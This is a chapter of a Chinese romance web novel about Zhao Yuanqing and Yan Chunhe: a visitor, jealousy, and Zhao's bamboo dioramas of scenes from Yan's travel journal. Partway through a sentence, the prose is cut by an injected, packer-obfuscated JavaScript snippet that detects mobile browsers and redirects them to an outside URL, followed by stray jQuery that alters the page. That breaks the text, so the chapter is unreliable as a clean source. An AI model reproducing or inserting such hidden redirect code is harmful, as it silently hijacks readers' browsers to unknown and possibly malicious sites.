找个地方晒 作品

154. 琼州的过去十二

燕椿和在房旁刚要偷听,他还特意走远些,卡着刚好能听见的距离,非常非常地轻,结果赵元青从竹篱笆直接跳出来,抱住了他。


“茂茂,回来跑那里做什么?”


“……”


燕椿和还在犹豫要不要不高兴的时候,赵元青直接拉着他手,边走边高兴地说:“正聊到你呢,你记不记得我从前和你说我带过小孩,这个是最乖的一个。”


然后,他和院内坐着的沈竹打了个照面,燕椿和几乎瞬间放下心,这人不行。又暗暗惋惜,听不到他们聊天了。


因此,他含蓄而优雅地朝她一笑。


“元青,家里有客人来了,我去煮些茶,你和客人先坐坐。”


果不其然,赵元青连忙拉着他讲:“哪里要你动手了,你去坐着去,我去我去。”


他垂首,轻轻拉开她的手。


“元青,从前都是如此的,没关系的。”开始慢悠悠往屋内走。


赵元青没懂。什么叫从前都是如此的?什么意思?她哪里让他做过这些琐事?


沈竹适时起身:“元青,我……我就不打扰了。村里还有些事。”他慌忙欲走,却又被喊住。


赵元青掏掏袖子,上前递给他:“我想你母亲可能不愿见我,帮我把这个给她吧,别推辞,这是应该的,她从前照顾过我。”


沈竹不想接,他今日就是来看看,了却心愿,他们有许多年不见。


但赵元青的力气还是那么大,她把那一小包银子直接强塞到他衣襟中,动作几乎看不清。


“去吧,又不是给你的,同你母亲说,我很感谢她。”她在疏落的院子中作了个长揖。


沈竹呆呆最后望了她一眼,回揖。


“元青,山高水长,沈竹祝你一路顺遂。”


“快去吧。”她笑眯眯摆手。


沈竹带着那包银子,走到几乎快看不见石头房子时才敢回头略看了一眼,拿出那包银子,呆呆地,盯了许久,下定了决心。


燕椿和从她把银子塞到人家衣襟中就沉下脸。


他很清楚,赵元青不喜欢瘦削的,琼州当地差不多都是这个审美,她就喜欢他这种,要摸起来手感十分美好丰盈的,腿长腰细,壮一些,肉多一些的。


他也很满意自己的长相和身体,这些都是用来供奉给她的,他会好好爱护。


他就是不喜欢她碰别人。


但,等她关好院门,他只是矜持地站在原地,等她拉自己。果然,她也没让自己失望,她先摸了他脸凉不凉,又拉着他手,回到东屋。


帮他脱了大氅,外衫,把他塞到床榻上。


“冻坏了,海边那么冷,穿的还这么薄。我去给你烧些水,好不好?”她低头亲亲他。


燕椿和被放到床上立刻有些困,昨夜被她闹的有些晚,今天又起早又赶路,去山上时,心里又难受的厉害,最主要的是,在她身边,他觉得安心。人在安全的环境下就难免生出些堕懒。


但他也很想喝水。


他小幅度的点点头,话也不想说,全部精神用来强撑着不阖眼。


走之前就烧过水,是留了火的,她用小灶,水开也十分快,拿他的杯倒了一杯迅速回屋,拉桌子放到床边,然后又把杯子放到上面,燕椿和单手支着头困得眼睛像要睁不开似的,还在等。


赵元青干脆运功让它迅速温下来,坐在床边喂给他。


燕椿和几乎喝了一半,她把剩下的也一口饮尽,重新脱下外衫,帮他盖好被子,抱着他,看他沉沉睡去。


赵元青不困,她就是被徒弟吵的头疼,她受不住吵闹,一听见吵闹头疼得不知为何十分厉害,像有什么东西只往脑子中钻似的,又说过不过徒弟,想跑。但还好,他愿意退一步,果然是大孩子!现在懂事许多。


从前可不一样,从前不如他的意,他那时候是小孩,声音又尖又细又大,躺在地上打滚,满屋都是他的声音,说什么都听不进去。


她就跑,等徒弟消气再回来。


徒弟还好,答应的就能做到,关键是怀里这祖宗。


一醒脑袋瓜就开始转,主意一个接一个,防不胜防。她已经打算老老实实说了,总之,问什么说什么。也得让徒弟如此。


不然,徒弟会很惨。


怎么这么能想呢?她不解地盯着他的头顶。从前见徒弟念书,也知道人和人生来便有差距,习惯她还得磕磕绊绊地问词语寓意时,徒弟几乎信手拈来的辞赋和文章。


可两个人,若是长久的在一起,不能事事都计较的,要忍气吞声,装聋作哑,要忍耐对方去掉不喜欢的地方,要彼此磨掉多余的自尊,血肉。


她倒也没什么自尊,这些都是没什么用的东西,对于小人物来讲,自尊是很难以维持的东西,还不如一开始就舍掉。在入境时,富贵小姐那次,若是从前,她会找到更合适的时机跑,身体罢了,其实她不在乎,总要有取舍的,人不能什么都要,能不被囚于一隅,就达成目的。可燕椿和……那时,是想到他的。


最后,就只能求死。


怎么会想不到他呢,看潮涨时,乘舟时,喝酒时,会忍不住看身旁。


但知道的,想了没用,知道他好好的就够了。


其实可能,感情根本不存在什么外部冲突,外部冲突的根本在于有把别的东西放在对方之上,因此才会纠结,取舍。


她已经把他放到很高的位置了,可他还不满意,他要高些,再高些。她就只能把房顶,棚梁拆掉,再做更高的梯子,捧着他,到他满意的地方。可走到上面,最上面的时候,他却把她捧到最上面,他说,元青,你要最爱自己,把我放在稍微下面一点就好,让我贴着你就好。这样,你才能真正地爱我。


江州,师父的事情,都没事的,赵元青一次只能做一件事,只能盯着一个目标往前走,这样才能心无旁骛,才能快速下决定,不纠结。从前是养徒弟,现在不是了。


到今日,因果已很难分清,他们是纠缠在一起的两团线,反正一切都乱乱的,她也理不清,强断只能剪掉。


如今她已然不舍。


——


燕椿和睡得十分好,醒时如泡在温泉中,全身舒缓而放松,都还没睁眼,先摸了摸身侧,满意地感受到她起身抱住他,细细地亲吻他的脸颊。


他这才肯睁开眼,眼尾泪珠划过,颤着上睫轻轻吸吸鼻子:“元青,我梦到你生我气了,不理我,我好伤心。”吞兰吐麝。


赵元青一顿,暗想,刚醒就要演吗?还有,怎么又哭了?但今天来不及,他这一觉睡到后半夜了都。


她干脆钻到他被子里,趴在他身上,咬着耳朵说:“起来,带你出去玩。”燕椿和顿时纠结,他最喜欢的姿势一个就是他待在她怀里,还有一个就是现在这样,赵元青趴在他的身上,这样大面积的贴着。


于是他双手死死缠住她乱晃,口中胡乱撒娇,不想动,不想去,要这样。


她被晃得有些头晕,勉强从他臂弯中伸出手支着床榻,燕椿和顿时晃不动了,低头


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561909|156408||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


嘴角拉平,恨恨地看她。


要说最不满意,就是赵元青这身牛劲。


她又艰难把另一只手拿出,从他身上爬下来,他抱得不紧,就是缠得死死的,一晃身上的异香就占了满头满脑。


爬到旁边立刻头脑清醒些,好声好气地指责:“茂茂,香得我头晕。快起来,我忙了半天呢。”


燕椿和更不高兴,赵元青怎么睡着睡着跑了,而且他还不知道。但他依言起身,穿好衣裳,接过她递来的温水润喉,任她拉着他走。


灵乡谷大片大片的苍藤绿苔,斑驳缠护,清风谡谡,凉浸衣衿,大片月竹丛生,这竹比人活得自在,随意砍伐是要受牢狱之灾的,因此,有的老竹几乎粗过碗口。燕椿和的眼睛蒙着纱,到竹林时,赵元青不得不横抱起他侧着走,他也不反抗,搂住她脖颈。


竹林清香,几乎无风,他只能听见她缓慢脚步声。入林行了快有一炷香,渐有水声淙淙,她把他放下,慢慢引他矮身,坐到简陋纱帐内,软垫上。亲亲他的脸郑重地说道:“待会我再回来,你等我下。”


燕椿和心中好笑,点点头,不管元青做什么,他都会觉得惊喜的。


然后他听见她慢慢退出去,竹林很静,只有流水,他抿抿嘴,略微探些身子,试图听她发出的声响。


但还好,她很快回来,拉他起身,走入纱帐外,绕到他身后,缓缓地解开带子。


燕椿和缓缓睁开眼,看着眼前,笑意渐渐淡去,猛地回头怔愣望她,她在得意,下巴扬得老高,很开心的样子。


“怎么样?茂茂大王!”她还怪模怪样地谄媚。


燕椿和飞快地扭回头,不看她,他深吸了一口气,缓慢朝前走。前面小径上摆满了竹子做的十多个景色。


最近的这处,是结阳的梧桐夜雨,那是二十多年前,他烦闷,心情不好,戴了幕离独自夜游,下起雨,独自躲在街边沿下,雨滴敲打在树叶上,发出沙沙的声响,这种声音在寂静的夜晚显得格外清晰。


他在游记中只写了一句,熙景六年,客坐结阳,夜半时,梧桐更兼细雨,点点斜漏天明。


她用月竹做了个竹制小屋,屋檐宽大,檐下放着一个竹制镂空球,球内单个萤火虫仿着灯笼。下面放着个黄土小人抬头眺望,她没见过梧桐树,就做成椿树的模样,用细竹叶裁成雨丝。


燕椿和有心试探:“做得不对,我那时在屋内看的。”


“骗人,你要是在屋内,才不会看雨到天亮。”她反驳。


换来他含蓄一笑。


又走到前面,一个一个看去,胥州冬雪,那年他同母亲吵了一架,雪格外大,有胸口高,他躺在浮空山下的雪中,慢慢沉下,赵元青筛了细白的海沙,硬布包住,四处用竹做了松柏林,把泥捏的小人放入其中,只留了个头;


琼州月夜,他变成竹制小人,悬在空中,还提着一把细竹叶剑,对面是点了些朱砂的十多个竹叶小人;


还有十多处,都是他感到人生空旷廖然之际,他产生那种虚无感之际。


人在这种时候,大多是什么也不想做的,因此,他能勉强写下一二句,当时也不知是为何。


可被她翻出来了。他喜欢她看着他,可人是有防线的,太明白另一个人时,被了解的那个人会应激,会骤然心理失衡,会反驳,会急于求证对方是错的。他也不能免俗,因此,走到最后,才觉得畅快些,他指着那处道:“那处不对,那处不对。”


赵元青顺着他手指望去,啊……是最后一个。